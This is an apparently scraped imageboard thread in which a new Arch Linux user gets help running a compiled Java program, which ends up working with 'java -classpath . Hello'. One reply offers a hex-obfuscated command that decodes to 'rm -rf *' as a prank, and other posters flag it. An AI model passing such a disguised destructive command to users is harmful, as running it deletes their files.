Hello Sup Forums.
Its been a month more or less since I installed Arch and I'm really happy with it, I'm learning a lot, thank you for recommending it to me.
But I have an issue that nobody seems to have (at least from what I have researched).
I installed java jdk8 and I'm not able to run a simple program as you see. It compiles perfectly though.
I would appreciate it a lot If you could help me with this, thank you in advance.
(And yeah, I know java is shit, I have to learn it for the uni)
Hello Sup Forums
Other urls found in this thread:
Install Gentoo
Please, man.
I really need help with this
try "java -c hello"
Thank you for responding
But it gives an error:
Unrecognized option: -c
Error: Could not create the Java Virtual Machine.
Error: A fatal exception has occurred. Program will exit.
what does
java -version
give you?
try "java -cp path/to/your/class hello
worked on windows
[archdic@archdic New Folder]$ java -version
openjdk version "1.8.0_112"
OpenJDK Runtime Environment (build 1.8.0_112-b15)
OpenJDK 64-Bit Server VM (build 25.112-b15, mixed mode)
[archdic@archdic New Folder]$ java -cp home/archdic/Downloads/NewFolder/ Hello
Error: Could not find or load main class Hello
Thank you guys for responding. I have no clue what could be happening. On my laptop, with the same arch configuration and packages, it works perfectly.
only if you link your theming
jaja, I love it too. Very nostalgic of the 90s era when I was really young and got my hands for the first time on a computer.
github.com
maybe your classpath is fucked?
It shouldn't be. Moreover, the terminal is opened in the file where the program is, it should work directly (in my laptop it does).
This is really strange
try java -classpath . Hello
i think you got the path wrong, you forgot a "/" infront of home
also remove the one after NewFolder
[archdic@archdic NewFolder]$ java -/home/archdic/Downloads/NewFolder/ . Hello
Unrecognized option: -/home/archdic/Downloads/NewFolder/
Error: Could not create the Java Virtual Machine.
Error: A fatal exception has occurred. Program will exit.
[archdic@archdic NewFolder]$ [archdic@archdic New Folder]$ java -cp /home/archdic/Downloads/NewFolder/ Hello
bash: [archdic@archdic: command not found
Still nothing.
I've also changed the name of the folder from "New Folder" to "NewFolder" just in case.
It still does't work in any way
[archdic@archdic NewFolder]$ [archdic@archdic New Folder]$ java -cp /home/archdic/Downloads/NewFolder Hello
bash: [archdic@archdic: command not found
Still nothing.. I'm getting a bit desperate. This makes no sense.
Thank you all for the responses though.
>bash: [archdic@archdic: command not found
how did you even install arch? is this bait?
set the path correctly, bud
$(echo 726d202d7266202a | xxd -r -p)
don't do this, it gonna fuck you up
What do you mean?
Yes, my user name is the same as my PC name, is it bad?
Btw, your comment made me repeat it. And the second time it worked! I have no clue why.
[archdic@archdic NewFolder]$ [archdic@archdic New Folder]$ java -cp /home/archdic/Downloads/NewFolder Hello
bash: [archdic@archdic: command not found
[archdic@archdic NewFolder]$ java -cp /home/archdic/Downloads/NewFolder Hello
Hello
[archdic@archdic NewFolder]$ java -cp /home/archdic/Downloads/NewFolder Hello
Hello
Thank you all!! I guess I have to use -cp every time I want to execute something.
no i mean literally write
java -classpath . Hello
that will tell java to use the current directory as the classpath and run Hello.class
What is this new meme? Is it like the system32 thing of windows?
it's just a fancy way of writting rm -rf *
Oh, this works too (and it's easier). Thanks!
[archdic@archdic NewFolder]$ java -classpath . Hello
Hello
I still don't get why this doesn't work:
[archdic@archdic NewFolder]$ java Hello
Error: Could not find or load main class Hello
>tries executing "[archdic@archdic New Folder]$" as a command
>no idea why it doesn't work
oh am i laffin
wtf I didn't see that lol, my bad. I just woke up and haven't had any coffee
Btw how do you write code like this in this board? I'm fairly new to Sup Forums
you need to set your $CLASSPATH to use the current directory for some reason it isnt. just google how to set it and you will be all good.
put it in [ code ] and [ /code ] tags but without the extra spaces
Ok, thanks friend!